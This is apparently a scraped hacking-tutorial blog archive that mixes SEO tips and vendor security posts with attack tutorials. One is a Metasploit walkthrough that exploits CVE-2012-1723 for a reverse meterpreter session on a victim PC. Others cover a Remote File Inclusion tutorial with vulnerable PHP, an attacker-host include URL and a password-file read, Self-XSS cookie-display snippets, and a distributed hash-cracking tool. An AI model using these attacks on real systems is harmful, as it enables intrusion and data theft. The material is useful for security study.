Taxonomy is the practice of classifying things at a conceptual level. Roughly put, this can include your blog labels (for Blogger) and Categories and Tags (for WordPress). They might sound simple, but there's more to them than meets they eye. Suppose you have an online store that sells computer accessories. You might start organizing your inventory around product types. But maybe your target demographic searches for products by type of use, or by manufacturer. A small percentage of this demographic that might include enthusiast gamers might search specifically for gaming products, so there might be a need for further classification. There are a lot of ways you can classify information, and doing it the right way is the art to learn.

Why is taxonomy design so important for SEO? With Hummingbird, mobile search, and other future search trends, defining concepts is more important than ever. A strong taxonomy design can be the foundation for other important elements such as content development, information architecture, and keyword research.

4. Community Management

Online community management has become an important task with brand building and social media management. Having a robust community means more exposure for your brand, and a closer connection to potential consumers. With Google’s ever increasing dependence on Google+ as a platform, community management is becoming an important part of SEO. Sites with strong Google+ profiles will get more exposure and tend to rank higher.

5. HTML and Structured Data

Of course, it goes without saying that a basic understanding of HTML is valuable asset to SEO. Meta, title, and anchor tags are the traditional on-page SEO HTML elements. However, now Google is putting more emphasis on structured data and authorship. Both of which requires unique HTML tags to implement.

6 Web Security Risks of Not Monitoring Internet Activity

2013-12-23T04:56:00.006-08:00

Internet access is one of the most important things you can provide to your users. It’s a morale booster, it helps them do their job (for some it is even a vital component of their job,) it enables them to find solutions to problems, research the competition, find new customers, and more. But Internet access comes with a host of threats and if you are not on top of your web security game, allowing your users to have Internet access may cause just as many problems as it can solve. If you are going to provide your users Internet access, consider these top six web security risks of not monitoring Internet activity, and deploy a web security solution to make sure you don’t regret the generosity to your users.

1. Malware
Whether your users download infected files or they just visit compromised websites, malware infections are the single biggest risk to your users from Internet access. Web security applications can scan all files for malware and block access to known infected sites. They can also filter out malicious scripts embedded in web pages, providing strong protection against malware for your users.

2. Phishing
Phishing attacks not only put your users at risk, they can have significant and long lasting impact to your customers, your financials, and your reputation. As much as we raise awareness of phishing attacks, you can read about a new business falling victim almost weekly. Web security software can completely block access to known phishing sites, so even if your users do fall for a phishing email, they cannot submit sensitive information to the attacker’s website.

3. Copyright infringement
Even the best intentions can lead to costly impact to your business, and when users download audio and video files without obtaining the rights to them, the copyright holders can go after your business for compensation. Web security software can block the download of media files, or can filter access based on category to help prevent users from downloading content that might cost you in the long term.

4. Licensing violations
Audio and video are not the only ways a user’s actions can lead to fines and penalties. When users download and install software without obtaining a license for it, the company can be held liable as well. Sites that host cracked software, keygens, and other warez can be blocked completely using web security software, so you can exercise due diligence and avoid a run-in with the Business Software Alliance or other licensing issue.

5. Human Resources incidents
What’s appropriate to access at work and what users may be accustomed to accessing at home are often at opposite ends of the content spectrum, and it’s easy for a user to be offended, or even feel harassed, if exposed to content another user is accessing. This leads to workplace problems including morale issues, teamwork challenges, and can quickly escalate to an incident that involves HR and could lead to someone losing their job. You can avoid all of that by using web security software to block access to content inappropriate for the workplace, and to enforce safe search results in the major search engines.

6. Bandwidth consumption
Media sites such as YouTube, Netflix, Hulu, Pandora, Internet radio and television streaming sites, and others are great for when you are at home, but if only a handful of your users decide to start listening to their favorite music feed, or surreptitiously watching a movie while they should be working, you can quickly find your network without enough bandwidth to support the business critical applications like email. Web security software can block access to the non-business critical sites, and throttle bandwidth consumption for the sites you do want to allow, to ensure there is enough available for what your network really needs.

7. Wasting time
How often has a “quick” web search or social media check-in caused you to lose track of time? Now multiply that by the number of users on your network, who will do exactly the same thing, and you can quickly see how you can lose hours of productivity each day. Web security software can block access to social media sites, but the best products can instead simply limit the amount of total time or the time frames when users can use the web for recreational purposes. A few minutes here and there is a perfectly good way to ensure morale doesn’t suffer, and if a user wants to spend their lunch break updating their wall…what’s the harm in that, as long as they get back to work at the end of their lunch?

So don’t think web access without addressing web security. Web security applications can monitor access, filter out malware, block access to phishing sites or repositories, prevent the download of files that might contain copyrighted material, restrict the amount of bandwidth burned on streaming media, and even keep users from wasting time on social media sites. Web security applications are a critical component of your Internet security, and help to ensure that Internet access is a benefit, and not a risk to your company.

This guest post was provided by Casper Manes on behalf of GFI Software Ltd.

All product and company names herein may be trademarks of their respective owners.
Logon to http://onlinehackingtutorials.blogspot.in/ @ Copyright 2014 Pradeep Lodhi (Software Developer)

Blackhat SEO poisoning attacks

2013-12-23T04:52:00.001-08:00

Recently , i have reported that Google Image search and Bing Image search leads to malware sites especially a blackhole exploit kit page. The reason behind this attack is SEO Poisoning.

What is SEO?
Search engine optimization (SEO) is a collection of techniques to improve the visibility of a website in a search engine's search results. Some of the techniques used by webmasters in

What is BlackHat SEO?

Black Hat SEO , also known as SEO poisoning, is a illegal-technique used by cyber criminals to make their links appear higher than legitimate results. When a user search for related keywords, the infected links appear in the top of the search results

Hacker use one of the following techniques:

*Creating SEO-friendly fake pages related to poplar search topics on compromised sites
*Cloak malicious content from sphiders and security researchers.
* Iframe injection

Poisoning Image search Results:

As most of search engines filter and find the text-based seo poisoning attacks, Cyber criminals now poisoning the Image search results instead.

They hacked legitimate sites and inject malicoius code. Whenever a person click the Image of compromised site in the search result , it will redirect him to malware sites. Sophos reports that bing image-search results are being poisoned more than other search engines.
Logon to http://onlinehackingtutorials.blogspot.in/ @ Copyright 2014 Pradeep Lodhi (Software Developer)

10 System Admin Tools to Help You Secure Your Network

2013-12-17T20:12:00.001-08:00

System admins are frequently bombarded with security concerns, requests, alerts, news items, “did you see this?!” emails, and more. Keeping up with all the aspects of network security can seem like an overwhelming task, but in this post we’re going to look at ten tools a system admin can use to help secure their network. Some you may be familiar with, like network security software, while others may come as a surprise, like your email client; but all will help you to stay ahead of the bad guys, keep yourself informed of the latest threats, and maintain the security of your network.

1. Network security software
When we talk about network security software, we’re talking about a class of product more than any specific tool, and how important it is for you to have an application or small group of applications that can help you to accomplish most of your tasks. There are simply too many things for any one admin to do by hand, and network security software applications help to automate the heavy lifting and ensure that you can keep up with the workload. Look for network security software that multitasks. Think about it as a Swiss Army knife of software packages that includes many of the other items on this list.

2. Vulnerability scanner
A good vulnerability scanner is a key part of any toolkit, and should be used by server admins and security engineers alike. The top network security software apps will include a scanner that has a database of the thousands of vulnerabilities that could exist on your network, so that you can quickly, easily and regularly scan your network to ensure you systems are up-to-date, configured properly and secured.

3. Port scanner
A port scanner is another regular tool that should be in your network security software application. Attackers regularly scan your Internet connection looking for ways in and so should you. But you should also scan internally so you can find unauthorized services or misconfigured systems, and to validate your internal firewalls are set up correctly.

4. Patching software
Patching operating systems and third party applications is one of the most important, regularly recurring tasks a sys admin has. Network security software that can automate this, and handle the hundreds of other applications on your network, is the only realistic way you can keep up with this.

5. Auditing software
Auditing software may strike you as a strange recommendation at first, but consider all those apps you are trying to patch. How can you be sure you have no vulnerabilities on your systems if your users can install anything on your systems? How are you going to maintain licensing compliance if you don’t know who has installed what from \software? Network security software may also include software and hardware inventory components to help you stay informed and secure.

6. Secure remote clients
Telnet, older versions of PCAnyWhere and several of the web-based remote access apps that are out there all have a common issue - they’re not secure. Use SSH v2 or later for secure access to all CLI-based systems, and the most secure versions of Remote Desktop Protocol to manage Windows boxes. Using strong encryption, good passwords, lockout policies and, when possible, mutual authentication between client and host, will help to ensure no one sniffs credentials or brute-forces their way into a system. If you have two-factor authentication in your environment, ensure that every system possible uses it to further reduce your risk from unauthorized access.

7. A good network analyzer
Whether you like the open source WireShark, the free Microsoft tool NetMon, or one of the many other commercial network analysis tools, having a good “sniffer” is key to helping secure and analyze systems. There is simply no way that’s more effective to figure out just what is going on between networked systems than to see the traffic first hand.

8. Network tools
Whenever you are dealing with connections from foreign systems, you will find the need to check network addresses, routes and more. Having good tools like DIG, WHOIS, HOST, TCPING and others close at hand makes network evaluation a breeze.

9. Log parsing software
Securing systems means going through logs; lots of them. Web logs, access logs, system logs, security logs, SNMP logs, syslog logs – the list goes on and on. Having software that can quickly and easily parse through logs is critical. Everyone has their favorite. Some install locally like LogParser, while others run on servers like Splunk. Whichever you prefer, get a good log parser to help wade through what can be millions of entries quickly and easily so you can find events you need to check.

10. Your email client
Knowledge is power, and the best way to amass that knowledge is to stay informed. Whether you subscribe to email bulletins, security alerts, or RSS feeds, your email client can provide you the first indications that something new is out there, and also what you need to do to protect your systems from the threat. Zero day exploits, out of band patches, best practices and more, can all be yours if you simply join the right distribution lists and subscribe to the right lists.

These 10 system admin tools are a great start towards building your toolkit for security. Network security software plays a major role in this toolkit, which you supplement with other tools and the information you need to maintain a secure environment.

This guest post was provided by Emmanuel Carabott on behalf of GFI Software Ltd. Learn more about the importance of a secure business network by downloading the free eBook: A first aid kit for SysAdmins. All product and company names herein may be trademarks of their respective owners.
Logon to http://onlinehackingtutorials.blogspot.in/ @ Copyright 2014 Pradeep Lodhi (Software Developer)

Ravan , JavaScript based Distributed Password cracking

2013-12-17T20:08:00.002-08:00

You want to crack a hash but your system speed is low?! No need to worry..! Here is solution for you , "Distributed Password Cracking". Let me introduce a new tool called "Ravan" developed by LavaKumar.

About Ravan:
Ravan is a JavaScript based Distributed Computing system that can perform brute force attacks on salted hashes by distributing the task across several browsers. It makes use of HTML5 WebWorkers to start background JavaScript threads in the browsers of the workers, each worker computes a part of the hash cracking activity.

Ravan now supports MD5,SHA1,SHA256,SHA512 hashes.

How it works?

Ravan has three components:

Master:

The hash, salt, hashing algorithm, position of the salt (before or after salt) and the charset are submitted by the user. These are submitted to the web backend and it returns a ‘hash id’ which is unique to every submitted hash. It also supplies a ‘worker url’ specific to this hash that must be sent to potential workers.
Once the hash is submitted the master creates arrays of slots (each array contains 5 slots), this is submitted to the web backend. Each slot represents a small part of the keyspace, this is how the entire activity is broken down in to multiple tiny tasks. A single slot represents 1 million combinations.
The master constantly polls the web backend to check on the progress of the cracking process. As the existing list of slots is completed by the workers the master allots more slots. When a worker cracks the hash and returns the clear-text value the master confirm this and then signals all workers to stop cracking.

Web Backend:

The web backend acts as a proxy between the master and the workers. It does not perform any actual computation but validates the data submitted by both the parties and passes information between them.

Worker:

The worker performs the actual hard work of cracking the hashes. Each hash has a unique worker URL and this page explicitly asks for the user permission before the cracking process is started. Once the user accepts and clicks ‘Start’ the worker polls the web backend for available slots, the web backend returns an array of slots from its database. The worker cracks each slot and sends the result to the web backend. After completing all the slots it polls the web backend for more slots.

Here is the tool:

Hacking Remote Pc

2013-12-17T20:02:00.001-08:00

Hacking Remote Pc by Exploiting Java Applet Field Bytecode Verifier Cache Remote Code Execution

CVE-2012-1723: A vulnerability in the HotSpot bytecode verifier where an invalid optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checking. A specially-crafted class file could possibly use this flaw to bypass Java sandbox restrictions, and load additional classes in order to perform malicious operations. The vulnerability was made public by Michael ‘mihi’ Schierl.

Requirement:

Attacker Machine: Backtrack
Victim Machine: Windows (install JRE un-patched version )

Step1: Launch the Metasploit console
Open the Terminal in the Attacker Machine(Backtrack).
Type "msfupdate" , this will update the metasploit with latest modules.
Now type "msfconsole" to get interaction with the Metasploit framework.

Step 2:
Type "use exploit/multi/browser/java_verifier_field_access" and follow the below commands:

msf exploit(java_verifier_field_access) > set PAYLOAD java/meterpreter/reverse_http
msf exploit(java_verifier_field_access) > set LHOST [Backtrack IP ADDRESS]
msf exploit(java_verifier_field_access) > exploit

If you don't know what i am talking about , please read my previous tutorial.

Step 3:
If you follow the above commands correctly, you will get the following result.

Copy the url and open the link in the victim machine. Once the url loaded in the victim machine, it will launch the exploit and creates a new session.

Now type "sessions", this will show the list of active sessions .

Type "sessions -i 1", this will open the connection to the session with the id '1' and bring you to Meterpreter. Meterpreter will help you to interact/control the Target.

References:

POC: http://schierlm.users.sourceforge.net/CVE-2012-1723.html
Metasploit Module: http://www.exploit-db.com/exploits/19717/

Self-XSS (Cross Site Scripting)

2013-12-17T19:58:00.000-08:00

What is Self-XSS?
Self-XSS is one of the popular Social Engineering Attack used by Attackers to trick users into paste the malicious code in browser. Results in attacker accessing to the whatever website you visit. Usually scammers use this attack for tricking users to buy products or get money through online survey .

Recently, Hackers Attacked Facebook with explicit hardcore porn images. Facebook says it might be self-Xss Attack .

Javascript can be executed in browser url bar.
For example , enter the following code in your browser:

javascript:alert('BreakTheSecurity');

This will show a pop up box with "BreakTheSecurity". An attacker can use this for malicious purpose. He can steal Confidential data, cookies, redirect to malware sites and more.
For Eg:
Entering the following code will display the cookies in your browser:

javascript:alert("Cookies:"+document.cookies+" "+"\n By \n BreakTheSecurity");

The above code is not going to anything maliciously other than displaying the cookies. But an attacker can extend the script so that it can take advantage your data.

Security Tips from BreakTheSecurity:

Use NoScript add on that will prevent javascript running in your browser.
Don't click the shorthand urls for Example: bit.ly/55ewEb?22. This may redirect to an infected sites.

Aware of Social Engineering:

If anyone ask you(even if he is your friend) to paste the scripts in browser bar, Never do this mistake.
If anyone says "Iphone only $10", Don't eager to click it.
If anyone says "1000 shares will cure a baby", Never do this mistake. Facebook shares never help to get money or help to cure baby.
Read our EHN spam report to know the latest updates about the facebook scams.

God give us the Sixth Sense,Use it and think before you click any links or following the other instructions.

Logon to http://onlinehackingtutorials.blogspot.in/ @ Copyright 2014 Pradeep Lodhi (Software Developer)

Remote File Inclusion Vulnerability Tutorial~Web application Vulnerability

2013-12-17T19:50:00.000-08:00

This is old tutorial but worth to read it. i write this article before 6 months but forget to post. So here i am posting it.

Remote file inclusion is one of web application vulnerability . Using this vulnerabilitiy an attacker can include their remote file such as Shell. This results in website defacement.

Shell is a GUI(Graphical User Interface) file that is used to browse remote files , using this shell you can run your own code on the victim web server.

By running malicious codes on the web server , an attacker take control of the Whole Server.

Using the vulnerability of the web application , an attacker can do:

Execute malicious codes
Denial of service
Execute Cross Site Scripting (XSS)

When web application is vulnerable to File Inclusion?

The web application becomes vulnerable because of unvalidated external variables (such as $_POST,$_GET,$_COOKIE). The main vulnerability occurs because of "include" function. This "include( )" function get the another page and include as content in current page. If allow_url_fopen function is enabled in web application, an attacker can include the files remotely.

Let us look into some examples, Consider this PHP code.

<?php
$incfile=$_REQUEST['NewsFile'];
include($incfile. 'php');
?>

In this code, the second line "$incfile=$_REQUEST['News'] " gets input from HTTP Request (I mean the valued passed in URL ). The second line inlcudes the "NewsFile " dynamically.

For instance, consider this url:

http://vulnerablesite.com/index.php?NewsFile=news1

Here the news1 is passed to NewsFile variable. The above php code get the value of Newsfile variable using the $_REQUEST. $include function will include news1.php file in index page.

Here you have note one thing, the developer doesn't validate the the HTTP Request input. It causes to vulnerable. An attacker can change the value and launch the Remote file inclusion attack.

How an attacker use this vulnerability?

An attacker can use this vulnerability to inlcude his malicious files. For instance, he can change the value of Variable NewsFile in the url like this:

http://vulnerablesite.com/index.php?NewsFile=http://attackersite/malicous_code

now the vlaue of NewsFile= http://attackersite/malicous_code. So the include function will become like this:

include('http://attackersite/malicous_code.php');

This leads to include the attacker malicious codes in the victim site. Now the attacker can include any malicious codes and execute in the web server. Attacker will upload the shell code and gain the access to the remote files of the website.

Null Meta Character():

An attacker can upload the text files also. But how, It ends with .php in include function ? Using null meta chracter, attacker can eliminate the .php extension. For example by including the NewsFile value as: http://attackersite/malicous_code.txt. Here will eliminate the .php code. So now he can upload any type of files also.

By giving NewsFile vaule as =/etc/password, Attacker can read the contents of password file on UNIX system directory traversal.

Prevention over the RFI

Disable the register_globals and allow_url_fopen and allow_url_include in PHP.ini file.
Validate the Use Input.

Ankit Fadia Hacking Ebooks Collections Free Download

2013-11-23T23:26:00.000-08:00

List of Ankit fadia's Hacking EBooks :-

1 . Ankit Fadia Hacker's Guide
2 . Untold Windows Tips and Secrets(Ankit Fadia)
3 . Base64 Encoding Torn Apart
4 . Batch File Programing - Ankit Fadia
5 . Closing Open Holes
6 . Defacing Websites A step Process By Ankit fadia
7 . Dos Attacked
8 . Ankit Fadia - Encryption Algorithms Explained
9 . Firewalls - How to unblock it??
10 . FTP Exploits By Ankit Fadia.pdf
11 . Gathering info on Remote Host
12 . Hacking into Linux
13 . More Password Cracking Decrypted
14 . Removing Banners from your sites
15 . Sendmail and Beyond
16.SSL Torn Apart
17.Tracing IP,DNS,WHOIS-nslLookUp
18.Transparent Proxies in Squid
19.Transparent_proxies_with_Squid_By-Ankit Fadia
20.Truths!!!--What They Don't teach in Manuals!!!